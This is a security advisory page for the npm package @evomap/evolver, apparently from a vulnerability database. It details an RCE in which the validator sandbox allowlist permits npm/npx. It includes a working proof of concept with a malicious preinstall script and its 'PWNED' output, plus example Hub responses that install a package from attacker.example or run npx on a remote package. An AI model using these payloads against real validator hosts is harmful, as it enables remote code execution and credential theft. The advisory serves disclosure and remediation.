Vulnerabilities in pkg:npm/@evomap/evolver
PACKAGEGHSA-jxh8-jh77-xh6g is a HIGH (CVSS 8.1) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @evomap/evolver libraries in the npm ecosystem. The issue involves @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding rce from hub-delivered validation tasks via lifecycle scripts. Remediation is available by upgrading affected packages to version 1.70.0-beta.5.
pkg:npm/@evomap/evolver
Vulnerability advisories affecting package pkg:npm/@evomap/evolver. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-jxh8-jh77-xh6g | - | HIGH | @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts |
| GHSA-7xp7-m392-h92c | - | MODERATE | @evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS |
| GHSA-cfcj-hqpf-hccf | - | HIGH | @evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE) |
| GHSA-2cjr-5v3h-v2w4 | CVE-2026-42077 | MODERATE | Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations |
| GHSA-j5w5-568x-rq53 | CVE-2026-42076 | CRITICAL | Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution |
| GHSA-r466-rxw4-3j9j | CVE-2026-42075 | HIGH | Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write |
GHSA-jxh8-jh77-xh6g at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-jxh8-jh77-xh6g
To remediate this vulnerability, upgrade all affected @evomap/evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @evomap/evolver@1.70.0-beta.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @evomap/evolver
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-jxh8-jh77-xh6g, inspect your project dependencies using npm:
npm ls @evomap/evolver
Analyze the terminal output to locate any version of @evomap/evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.70.0-beta.5), your application is affected.
Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @evomap/evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-jxh8-jh77-xh6g Affected @evomap/evolver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@evomap/evolver
|
npm |
< 1.70.0-beta.5
|
1.70.0-beta.5
|
References
Frequently Asked Questions
What is GHSA-jxh8-jh77-xh6g?
Which @evomap/evolver versions are affected?
What version fixes GHSA-jxh8-jh77-xh6g?
Is @evomap/evolver affected?
What is the CVSS score of GHSA-jxh8-jh77-xh6g?
What CWE is associated with GHSA-jxh8-jh77-xh6g?
How can I check npm dependencies for GHSA-jxh8-jh77-xh6g?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jxh8-jh77-xh6g",
"modified" : "2026-05-05T21:15:55Z",
"published" : "2026-05-05T21:15:55Z",
"aliases" : [ ],
"summary" : "@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts",
"details" : "## Summary\n\nThe validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install <pkg>` and `npx -y -p <pkg> <bin>` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).\n\n## Details\n\nEnd-to-end chain:\n\n1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `<hub>/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`.\n\n2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *\"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed().\"*\n\n3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`:\n\n ```js\n // sandboxExecutor.js:35\n const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);\n ```\n\n `parseCommand` only rejects shell metacharacters (`| & ; > < \\` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`.\n\n4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables:\n\n ```js\n function assertNodeCommandSafe(parsed) {\n if (parsed.executable !== 'node') return; // npm/npx skip every check\n ...\n }\n ```\n\n The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations.\n\n5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions.\n\n6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`).\n\nThe \"sandbox\" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.\n\nThe author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise:\n\n> \"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task.\"\n\nPutting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.\n\n## PoC\n\nReproduced against v1.70.0-beta.4 (HEAD on `main`):\n\nStep 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):\n\n```bash\nmkdir -p /tmp/evil-pkg-validator\ncat > /tmp/evil-pkg-validator/package.json <<'EOF'\n{\n \"name\":\"evil-pkg-validator\",\"version\":\"1.0.0\",\n \"scripts\":{\n \"preinstall\":\"node -e \\\"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\\\"\"\n }\n}\nEOF\n```\n\nStep 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: [\"npm install /tmp/evil-pkg-validator --no-audit --no-fund\"]`:\n\n```bash\nrm -f /tmp/pwned-by-validator-test\nnode -e \"\nconst s = require('./src/gep/validator/sandboxExecutor');\ns.runInSandbox(\n ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],\n { cmdTimeoutMs: 60000 }\n).then(o => {\n console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);\n console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));\n});\"\n```\n\nObserved output (verified):\n\n```\noverallOk: true exitCode: 0\nPWNED: RCE uid=0 time=1777213140205\n```\n\nThe sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID.\n\nRemote-only variant (no local file required): a compromised or MITM'd Hub returns:\n\n```json\n{ \"validation_commands\": [\"npm install https://attacker.example/evil.tgz --no-audit --no-fund\"] }\n```\n\nor\n\n```json\n{ \"validation_commands\": [\"npx -y -p evil-pkg@1.0.0 evil-cmd\"] }\n```\n\nBoth pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.\n\n## Impact\n\n- **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).\n- **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.\n- **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.\n- **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.\n- **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.\n\n## Recommended Fix\n\nRemove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node <script>`:\n\n```js\n// src/gep/validator/sandboxExecutor.js\nconst ALLOWED_EXECUTABLES = new Set(['node']);\n```\n\nIf `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly:\n\n```js\nfunction assertNpmCommandSafe(parsed) {\n if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return;\n // Block install/exec/run-script that fetch or execute lifecycle scripts.\n const sub = parsed.args.find((a) => !a.startsWith('-'));\n const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);\n if (FORBIDDEN.has(sub)) {\n throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub);\n }\n // Require --ignore-scripts on every npm invocation as defense-in-depth.\n if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) {\n throw new Error('npm in sandbox requires --ignore-scripts');\n }\n // npx always fetches+executes — disallow entirely.\n if (parsed.executable === 'npx') {\n throw new Error('npx is not allowed in sandbox');\n }\n}\n```\n\nAdditionally:\n\n1. **Sign the Hub's `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise.\n2. **Run `runInSandbox` under real isolation** — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The current `buildSandboxEnv` only redirects `HOME`/`TMPDIR`; the spawned process otherwise has full host access.\n3. **Apply `policyCheck.isValidationCommandAllowed()` to Hub-delivered `validation_commands`** in `validateOneTask`, mirroring the gate that already exists for capsule-derived commands in `solidify.js` / `skill2gep.js`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@evomap/evolver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.70.0-beta.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.70.0-beta.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-jxh8-jh77-xh6g"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/EvoMap/evolver"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:15:55Z",
"nvd_published_at" : null
}
}